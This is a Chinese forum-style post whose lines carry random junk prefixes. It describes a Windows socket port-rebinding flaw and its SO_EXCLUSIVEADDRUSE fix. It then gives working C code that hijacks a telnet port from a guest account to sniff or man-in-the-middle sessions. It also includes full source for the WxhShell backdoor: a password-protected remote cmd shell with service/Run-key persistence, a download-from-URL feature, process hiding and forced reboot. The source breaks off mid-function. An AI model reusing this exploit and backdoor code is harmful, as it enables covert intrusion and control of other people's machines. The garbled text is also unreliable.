在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
PnH5[4&k s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|Y30B,=M ^nLk{<D35 saddr.sin_family = AF_INET;
T2 TWb jxZ_-1 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
}Vfc;2 +&.39q! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
2LS91 G[]h1f! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_opB,,G 2BO"mc<#$ 这意味着什么?意味着可以进行如下的攻击:
7
b{y XdE|7=+s 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
s0'6r$xj SP4(yJy& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
5}2148 YoSBS 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
X$=/H 6R5Z ]+Z,HY@;- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
>6|Xvtf %?J-0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ZQyX zERp zor 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
6%MM)Vj+u \q"vC1,9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
n`D-?]* '/3\bvZ #include
_pkmHj( #include
A27!I+M #include
rnC<(f22 #include
C|RC9b DWORD WINAPI ClientThread(LPVOID lpParam);
cXNR<` int main()
mcWN. {
b@B\2BT WORD wVersionRequested;
j rg B56LL DWORD ret;
OpmPw4?} WSADATA wsaData;
OG^#e+ BOOL val;
K<v:RbU|[1 SOCKADDR_IN saddr;
T+>W(w
i SOCKADDR_IN scaddr;
@Py?.H int err;
juMHc$d17 SOCKET s;
"5"{~3Gw^ SOCKET sc;
HBZtg int caddsize;
5>-~!Mg1 HANDLE mt;
" ,]A., DWORD tid;
j|VX6U
wVersionRequested = MAKEWORD( 2, 2 );
!Hj
7|5 err = WSAStartup( wVersionRequested, &wsaData );
Vg7BK% if ( err != 0 ) {
{*X|)nr printf("error!WSAStartup failed!\n");
|5*:ThC[ return -1;
fz rH}^ }
# (-?i\i saddr.sin_family = AF_INET;
oTveY ;oOv~YB7H //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
EV_u8?va /a\]Dwj5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
k;HI-v saddr.sin_port = htons(23);
Is!+`[ma if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7TA&u' {
[pSQ8zdF" printf("error!socket failed!\n");
w +HKvOs5c return -1;
*s?C\)x }
yS4nB04`= val = TRUE;
`m\ ?gsw7 //SO_REUSEADDR选项就是可以实现端口重绑定的
R.rE+gxO1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@4>?Y=# {
Q7_#k66gb7 printf("error!setsockopt failed!\n");
.8XkB<[wb return -1;
9L>ep&u)^ }
RA}Y$ }^#' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
`rpmh7*WV //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
a lyA#zao| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&&Otj-n5 ki8Jl}dr if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/p)y!5e {
Hqb-)8 ~ ret=GetLastError();
B]PG printf("error!bind failed!\n");
VVc-Dx return -1;
,P X7}//X^ }
uC?/p1 listen(s,2);
j^ttTq|l while(1)
hn e}G._b {
~'LoIv20j) caddsize = sizeof(scaddr);
l>pnY%(A //接受连接请求
M aP - sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
4TcW% if(sc!=INVALID_SOCKET)
G$jw#a[L {
=!=DISPo mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@Z89cTO if(mt==NULL)
2 '8I/>- {
Sv[+~co<l printf("Thread Creat Failed!\n");
Obc wmL break;
{mA#'75a# }
M2M&L,/O }
/?S,u,R CloseHandle(mt);
"gt*k# }
'3B7F5uLx" closesocket(s);
Lp{/ WSACleanup();
on f7V return 0;
U)SQ3*j2D }
:D:J_{HJ DWORD WINAPI ClientThread(LPVOID lpParam)
;RW5XnVx {
dDqT#N?Y SOCKET ss = (SOCKET)lpParam;
z*WQ=l2 SOCKET sc;
XpdjWLO]C< unsigned char buf[4096];
$~T|v7Y% SOCKADDR_IN saddr;
2l +t- long num;
sfC/Q"Zs DWORD val;
#ihHAiy3 DWORD ret;
uC"Gm;0 //如果是隐藏端口应用的话,可以在此处加一些判断
8e_9u@p+w //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
||#+ ^p7G saddr.sin_family = AF_INET;
(o!i9) saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
K# h7{RE saddr.sin_port = htons(23);
RYM[{]4b5F if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#$JY&!M {
<KZ J printf("error!socket failed!\n");
=@.5J'! return -1;
2~@Cj@P] }
df9$k0Fx val = 100;
xUIH,Fp-9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$3(E0\#O {
KvlLcE~`o ret = GetLastError();
!8o;~PPVl return -1;
1P/4,D@ }
+P=I4-?eX if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
MQVEO5 {
W 6CNMI] ret = GetLastError();
!H`uN
return -1;
cB7'>L }
Y%8[bL$
d if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_%<qZT {
~.Cu,>fV printf("error!socket connect failed!\n");
-7m7.>/M closesocket(sc);
yj
mNeZ closesocket(ss);
O2Tna<cR& return -1;
I0OfK3!^ }
-aIB_ while(1)
hFDo{yI {
CoM?cS S //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
i$z*~SuM# //如果是嗅探内容的话,可以再此处进行内容分析和记录
O_&Km[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Yu|L6#[E num = recv(ss,buf,4096,0);
Y NG S"3F if(num>0)
D=~3N send(sc,buf,num,0);
S{JBV@@tC else if(num==0)
-nk0Q_7N break;
Og"\@n num = recv(sc,buf,4096,0);
3Oe\l[?$; if(num>0)
@BqSu|'Du, send(ss,buf,num,0);
A@n//AZM else if(num==0)
9w$+Qc break;
:SVWi}:Co1 }
8z*/J=n closesocket(ss);
g y1i% closesocket(sc);
\_|r>vQ return 0 ;
&(A'uX.>pr }
5}`e"X Med0O~T% a`zw5 ==========================================================
4"Pf0PD: # |,c3$ 下边附上一个代码,,WXhSHELL
NV9H"fI ),f d, ==========================================================
<O]B'Wc [ ~Q5
i0s% #include "stdafx.h"
T :X A >FReGiK$T #include <stdio.h>
q%MLj./?[ #include <string.h>
$(;0;!t. #include <windows.h>
,%,.c^- #include <winsock2.h>
9C\@10 D #include <winsvc.h>
Xldz&&@ #include <urlmon.h>
KgEfhO$W 4 UnN~ #pragma comment (lib, "Ws2_32.lib")
x%,!px3s #pragma comment (lib, "urlmon.lib")
"y=AVO /7Ft1f #define MAX_USER 100 // 最大客户端连接数
r r(UE #define BUF_SOCK 200 // sock buffer
JAI ;7 #define KEY_BUFF 255 // 输入 buffer
q%k _C0 _eMY? #define REBOOT 0 // 重启
9d&}CZr #define SHUTDOWN 1 // 关机
j'|`:^
Sy rfhvd wwD #define DEF_PORT 5000 // 监听端口
};]f 3 4GqE%n+ta~ #define REG_LEN 16 // 注册表键长度
W>rx:O+ #define SVC_LEN 80 // NT服务名长度
U,GY']J |BA<> WE // 从dll定义API
Dhp|%_> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
pc/]t^]p typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Q#*Pjl typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
FY <77i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
hOIk6}r4X 1TL~I-G&n // wxhshell配置信息
N1u2=puJY struct WSCFG {
3(>NS ?lX int ws_port; // 监听端口
'A9U[| char ws_passstr[REG_LEN]; // 口令
lcEin*Oc int ws_autoins; // 安装标记, 1=yes 0=no
Y,s@FGI2 char ws_regname[REG_LEN]; // 注册表键名
f7j9'k char ws_svcname[REG_LEN]; // 服务名
2?\L#=<F char ws_svcdisp[SVC_LEN]; // 服务显示名
"SN+ ^` char ws_svcdesc[SVC_LEN]; // 服务描述信息
HDT-f9%}<4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
D^\2a;[AxA int ws_downexe; // 下载执行标记, 1=yes 0=no
iU
a `< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Ems0"e char ws_filenam[SVC_LEN]; // 下载后保存的文件名
2~2j?\AEd. FK.Qj P: };
*p7_rY \x+ "1 // default Wxhshell configuration
-WK struct WSCFG wscfg={DEF_PORT,
g'1ASMuR "xuhuanlingzhe",
S*?x|&a 1,
RaLc}F)9 "Wxhshell",
6T{SRN{ "Wxhshell",
(Y$48@x "WxhShell Service",
Shb"Jc_i "Wrsky Windows CmdShell Service",
RT+_e "Please Input Your Password: ",
nV&v@g4Tt 1,
9U~sRj=D "
http://www.wrsky.com/wxhshell.exe",
$|r
p5D6 "Wxhshell.exe"
41jlfKiOm };
2K$#U|Qi dNgjM
Q // 消息定义模块
L\(" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
:Y2J7p[+ char *msg_ws_prompt="\n\r? for help\n\r#>";
sn.&|)?Fi char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
"N*i!h char *msg_ws_ext="\n\rExit.";
X"3Za[9j char *msg_ws_end="\n\rQuit.";
h5.AM?*TNd char *msg_ws_boot="\n\rReboot...";
]~-vU{ char *msg_ws_poff="\n\rShutdown...";
"4e{Cq char *msg_ws_down="\n\rSave to ";
OFcqouGE 6$6Qk !% char *msg_ws_err="\n\rErr!";
(w{C*iB char *msg_ws_ok="\n\rOK!";
+2S#3m?1 TkSeDP char ExeFile[MAX_PATH];
(k&r^V/= int nUser = 0;
7T}r]C. HANDLE handles[MAX_USER];
YN 31Lo int OsIsNt;
A J"/T+g_ mY !LGN SERVICE_STATUS serviceStatus;
5 ]v]^Y'? SERVICE_STATUS_HANDLE hServiceStatusHandle;
`<^1Ik[g Qv>rww] // 函数声明
IYk^eG:; int Install(void);
K5SP8<. int Uninstall(void);
;IX*4E'4s int DownloadFile(char *sURL, SOCKET wsh);
Z* L{; int Boot(int flag);
H{nYZOf/ void HideProc(void);
6%RN- int GetOsVer(void);
^NPbD<~Lb int Wxhshell(SOCKET wsl);
H.8Vm[W void TalkWithClient(void *cs);
d65t"U int CmdShell(SOCKET sock);
hpOUz% int StartFromService(void);
"[BDa}Il int StartWxhshell(LPSTR lpCmdLine);
Kk_h&by? }MV=I$S2U VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Ar VNynQ VOID WINAPI NTServiceHandler( DWORD fdwControl );
A/#Xr sCE2 F_xjL // 数据结构和表定义
;5wr5H3 SERVICE_TABLE_ENTRY DispatchTable[] =
@CU~3Md* {
y:3d`E4Xw {wscfg.ws_svcname, NTServiceMain},
[Y=X^"PF {NULL, NULL}
'4}c1F1T_ };
<UMT:`h1MZ Yab=p
9V;; // 自我安装
~ GW8|tw int Install(void)
"~HV!(dRMC {
'{(/C?T char svExeFile[MAX_PATH];
j1{\nP/ HKEY key;
Om=*b#k strcpy(svExeFile,ExeFile);
Zc9j_.?* T11;LSD // 如果是win9x系统,修改注册表设为自启动
K0Zq)< if(!OsIsNt) {
;&%G)f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|ZnRr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|U4t 8 RegCloseKey(key);
I{0bsTp; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9x40 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
c@1q8, RegCloseKey(key);
Hz6yy* return 0;
}th^l*g }
}475c{ }
[M{EO) }
3!V$fl0 else {
p/f!\ Y!tjaL 9D // 如果是NT以上系统,安装为系统服务
>&3ATH;&( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
>7^+ag~& if (schSCManager!=0)
=!cI@TI {
^3:DeZf!u SC_HANDLE schService = CreateService
"=BO,see9 (
+#d}3^_] schSCManager,
ef;Ta|# wscfg.ws_svcname,
ttK`*Ng wscfg.ws_svcdisp,
X)TUKt SERVICE_ALL_ACCESS,
KZxA\,Y'5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
_,i+gI[ SERVICE_AUTO_START,
5@{+V!o, SERVICE_ERROR_NORMAL,
Mn=5yU svExeFile,
+.b@rU6H NULL,
23;e/Qr NULL,
BOQeP/> NULL,
!dW77kLTg NULL,
Hw "UJP NULL
H~P"uYKIZ );
pM i w9} if (schService!=0)
C,!}WB@VME {
E(&GZ QE CloseServiceHandle(schService);
G2,r%|7ta CloseServiceHandle(schSCManager);
)
-C9W7?I strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
XI*_ti strcat(svExeFile,wscfg.ws_svcname);
C;jV{sb9c if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Q#i^<WUpg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;\$P;-VY RegCloseKey(key);
,OQ!lI_`R return 0;
XT|!XC!| }
~BVK6 }
h!*++Y?&0 CloseServiceHandle(schSCManager);
!j3V'XU#Zn }
yT>t[t60/S }
Q l$t v0dFP0.;& return 1;
f~.w2Cna }
]/+qM)F u%7a&1c // 自我卸载
hCLXL int Uninstall(void)
QxGQF| {
WR*|kh HKEY key;
yMNLsR~ rh q-.e9eoc\ if(!OsIsNt) {
$<UX/a\sH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0)8QOTeT RegDeleteValue(key,wscfg.ws_regname);
G=8w9-Ww RegCloseKey(key);
aqb;H 'F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
J9LS6~
7 RegDeleteValue(key,wscfg.ws_regname);
4pF U` g= RegCloseKey(key);
m\lSBy6 return 0;
axY-Vj }
?[W(r$IaE }
RTSR-<{z }
k:4?3zJI else {
bmAgB}Ior sK:,c5^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
t#y if (schSCManager!=0)
xX'Uq_Jv {
ndm19M8Y| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
gKZ{ O if (schService!=0)
|<.b:e\4 {
{/BEO=8q2 if(DeleteService(schService)!=0) {
R0<ka[+ CloseServiceHandle(schService);
n;"4`6L~ CloseServiceHandle(schSCManager);
z#!xqIg0 return 0;
7[-jr;v }
QD:0iD? CloseServiceHandle(schService);
xLZQ\2q }
lxK_+fj
q CloseServiceHandle(schSCManager);
yvxC/Jo4 }
\2<2&=h? }
ISr~JQr r1FE$R~C= return 1;
F.=uJdl.! }
'KGY;8<x] e![Q1!r // 从指定url下载文件
D^PsV int DownloadFile(char *sURL, SOCKET wsh)
[&*$!M {
{K'SOhH4? HRESULT hr;
8m A6l0 char seps[]= "/";
F$ .j|C1a char *token;
$UjSP char *file;
S'-<p<;D\B char myURL[MAX_PATH];
lkg-l<c\J char myFILE[MAX_PATH];
dW7dMx 1A-8,) strcpy(myURL,sURL);
Hcd> \0 token=strtok(myURL,seps);
i&,U);T while(token!=NULL)
~,e!t.339 {
t%z7#}9$ file=token;
>*} qGk token=strtok(NULL,seps);
3i(k6)H$4 }
MatC2-aV1 bT-G<h*M GetCurrentDirectory(MAX_PATH,myFILE);
(?\ZN+V) strcat(myFILE, "\\");
gE=~.P[ZX strcat(myFILE, file);
fnnwe2aso send(wsh,myFILE,strlen(myFILE),0);
vP}K(' ( send(wsh,"...",3,0);
^qbX9.\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
+$>ut
r if(hr==S_OK)
):78GVp return 0;
5 J|;RtcR else
gSj-~kP return 1;
CHpDzG>]4 sW2LNE }
`^J~^Z7Y- %Y Rg1UKY // 系统电源模块
*Kzs(O int Boot(int flag)
&`L5UX {
s*CKFEb# HANDLE hToken;
)+t5G>yKK TOKEN_PRIVILEGES tkp;
:=L[kzX !P Gow if(OsIsNt) {
H5RHA^p| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
n'*L jp LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
~vl: Tb tkp.PrivilegeCount = 1;
3}:pD]`h tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
C6"!'6 W AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
_z4rx if(flag==REBOOT) {
nv $ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
)Elr8XLw return 0;
9jPb-I- }
2Bjp{)* else {
{t/!a0\HS if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
<M'IRf/D return 0;
9_>4~!x` }
g[M@ }
T4!]^_t^ else {
NuO>zAu if(flag==REBOOT) {
18A&[6"! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Ic=V: return 0;
^LU[{HZV }
k13/yiv else {
+~fu-%,k if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
M.8!BB7\8e return 0;
:
m5u=:t }
:s'%IGy>: }
93WYZNpX ~v54$#CB return 1;
iz^wBQ }
FY|x<-f hE6tu' // win9x进程隐藏模块
ewY[vbF void HideProc(void)
CQ( @7 {
\7j)^ kxn;; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*i?qOv/=> if ( hKernel != NULL )
`X^e}EGWu {
Ez$5wY^J pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
n#&RY%#` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
`p ?E{k.N FreeLibrary(hKernel);
(&*F`\ }
'9/kDkt! Y+j KP*ri return;
-mkync3 }
bp$jD O(~Vvoq // 获取操作系统版本
;:e,C@Fm int GetOsVer(void)
g^C6"rsnl {
!>:tF,fcB OSVERSIONINFO winfo;
=5|5j!i=q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
j>b OnCp~ GetVersionEx(&winfo);
r#Fu<so, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
qJ/C*Wqic return 1;
8Cqs@<r4Od else
u9gr@06 return 0;
*"CvB{XF&Z }
lhI;K4# I coL/7k3 // 客户端句柄模块
Td F< int Wxhshell(SOCKET wsl)
%xfy\of+Nk {
j&Aq^aI SOCKET wsh;
`/AzX *` struct sockaddr_in client;
72,iRH DWORD myID;
$ vjmW!
O $~YuS_sYg while(nUser<MAX_USER)
c~'kW`sNV {
@iRVY|t/ int nSize=sizeof(client);
1}uDgz^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
z )pV$ if(wsh==INVALID_SOCKET) return 1;
"n6Y^ f5a](& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
|i`@!NrFL if(handles[nUser]==0)
E&+^H
on closesocket(wsh);
6-=_i)kzq else
}gW}Vr < nUser++;
7asq]Y}< }
uf^:3{1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
0|ps), ?},ItJ#>)q return 0;
uJOW%|ZN` }
.HBvs=i (6BCFl:/Q< // 关闭 socket
*e6|SZ &3 void CloseIt(SOCKET wsh)
ger<JSL% {
1pb;A;F,A closesocket(wsh);
0uz"}v) nUser--;
Rpk`fxAO ExitThread(0);
`"H?nf0 }
Ds87#/Yfv rxK0<pWJhx // 客户端请求句柄
(OqJet2{+ void TalkWithClient(void *cs)
X4$e2f {
[j?<9 gHx-m2N SOCKET wsh=(SOCKET)cs;
x3s^u~C)(w char pwd[SVC_LEN];
Wn^^Q5U# char cmd[KEY_BUFF];
L)}V[j# char chr[1];
x5SQ+7 int i,j;
V</T$V$ >u)ZT while (nUser < MAX_USER) {
JC"K{V{ )!d1<p3 if(wscfg.ws_passstr) {
s.sy7%{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
17cW8\
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
r(i)9RI+( //ZeroMemory(pwd,KEY_BUFF);
hzLGmWN2j8 i=0;
2mZ/
3u while(i<SVC_LEN) {
&%X Jf~IQ 3@] a#> // 设置超时
\=7=>x_ fd_set FdRead;
1[l>D1F? struct timeval TimeOut;
IBkH+j FD_ZERO(&FdRead);
HzV+g/8>A FD_SET(wsh,&FdRead);
y.:- TimeOut.tv_sec=8;
$-]setdY TimeOut.tv_usec=0;
JJ?ri, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
d&bc>Vt if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Z]TVH8%|k ]7t\%_
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
z4641q5'm pwd
=chr[0]; 6B/"M-YME
if(chr[0]==0xd || chr[0]==0xa) { LH#LBjOZk
pwd=0; l :Nxl
break; z8|9WZ:
} 5"am>$rh
i++; Noxz kpMF
} &t/<yq}{
9yo[T(8
// 如果是非法用户,关闭 socket %`QsX {?,
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;lH,bX~5
} ,R}KcZG)
"IG$VjgcB
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mzxvfXSF
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iT5SuIv
\~t~R q
while(1) { ' 1'1T5x~
9!HMQ
ZeroMemory(cmd,KEY_BUFF); bM^A9BxD
\a2oM$PX
// 自动支持客户端 telnet标准 GFdJFQio
j=0; sK-|xU.
while(j<KEY_BUFF) { jL+}F /~r
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'uACoME@
cmd[j]=chr[0]; 0a6@HwO
if(chr[0]==0xa || chr[0]==0xd) { 0^.4eX:E_
cmd[j]=0; +N$7=oGC
break; /v)! m&6]>
} }r~l72
`
j++; 'Y{ux>
} k*3_)
S
-
%4|}&,%%r
// 下载文件 ^Pg
YP
if(strstr(cmd,"http://")) { @\`G & VB
send(wsh,msg_ws_down,strlen(msg_ws_down),0); q4GW=@eD
if(DownloadFile(cmd,wsh)) DgT.Lku?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $;i$k2n:
else 3ZL7N$N}7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tW.>D;8
} d)1sP0Z_@
else { 06 Esc^D
&tz%WW%D8
switch(cmd[0]) { p:<gFZb
JJ9e{~0I
// 帮助 O;BMwg_7
case '?': { VgsCwJ9w
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h"1"h.
break; *!]Epb
} 199hQxib:
// 安装 _2X6bIE
case 'i': { 8wpwJs&V
if(Install()) - )a_ub
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8pL>wL
&C
else Ky9No"o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XBWSO@M'
break; FHNuMdFn
} R c:cVK
// 卸载 M |Q
case 'r': { JeTrMa 2
if(Uninstall()) Hrg=sR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -~ O;tJF2
else e|5B1rMM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tct5*.|
break; =PKt09b^
} <x0uO
// 显示 wxhshell 所在路径 @)Hbgkdi
case 'p': { zGL<m0C
char svExeFile[MAX_PATH]; 2mG&@E
strcpy(svExeFile,"\n\r"); hXQg=Sj
strcat(svExeFile,ExeFile); ?^48Zq6wM
send(wsh,svExeFile,strlen(svExeFile),0); N7$DRG/<b
break; Z_V&IQo-7
} 3w^J"O/T
// 重启 %<J(lC9,C
case 'b': { GkGC4*n
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "Eok;io
if(Boot(REBOOT)) (m3I#L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :S99}pgY
else { 9u7n/o&8v6
closesocket(wsh); 8A8xY446)
ExitThread(0); V:G }=~+=
} !: EW21m
break; lQ<#jxp
} tU)r[2H2
// 关机 kJ#[UCqzM
case 'd': { fJn3"D'
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7\0|`{|R@
if(Boot(SHUTDOWN)) ;!0.Kk
4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g=oeS%>E
else { 76IALJ00V
closesocket(wsh); {b-0_
ExitThread(0); # McK46B z
} (ju
aDn)
break; q]iKz%|Z/
} %KJhtd"q
// 获取shell w*6!?=jP
case 's': { ,p*ntj{
CmdShell(wsh); 59Tg"3xB<
closesocket(wsh); *3F /Ft5
ExitThread(0); [!:-m61
break; jsqUMy-
} :rTKqX&"j
// 退出 }/7.+yD
case 'x': { CFkW@\]
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fbHWBb
CloseIt(wsh); ]U#[\ Z
break; "S B%02
} DX&lBV
// 离开 @;m@Luk
case 'q': { n $O.>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +9 16ZPk
closesocket(wsh); qUEd
E`B
WSACleanup(); iJdrY6qd
exit(1); EG(`E9DZ
break; _Qm7x>NT4
} wcdW72
} KB%j! ?
} 'XP>} m
+B`'P9Zk@
// 提示信息 z,}c?BP
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EDq$vB
} tyn?o
} cYq']$]
>Bh)7>`3c
return; +
4V1>e+
} =qV4Sje|q
Wk\mgGn+
// shell模块句柄 `Ct'/h{
int CmdShell(SOCKET sock) %?]{U($?
{ dJ%wVY0z=
STARTUPINFO si; VVI8)h8
ZeroMemory(&si,sizeof(si)); fW5"4,
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !7mvyc!'!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k\+y4F8$x
PROCESS_INFORMATION ProcessInfo; uKR\Xo}
char cmdline[]="cmd"; so?pA@O
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cotxo?)Zv
return 0; o;M.Rt\A
} |n|U;|'^
-!'Oy%a#
// 自身启动模式 V_ +}^
int StartFromService(void) %jbJ6c
{ *2 qh3
typedef struct _S9rF-9G]
{ q9W~7
DWORD ExitStatus; .q5J^/kr
DWORD PebBaseAddress; 54ak<&?
DWORD AffinityMask; r3+<r<gs
DWORD BasePriority; ?Kx6Sf<i
ULONG UniqueProcessId; 95.qAFB1
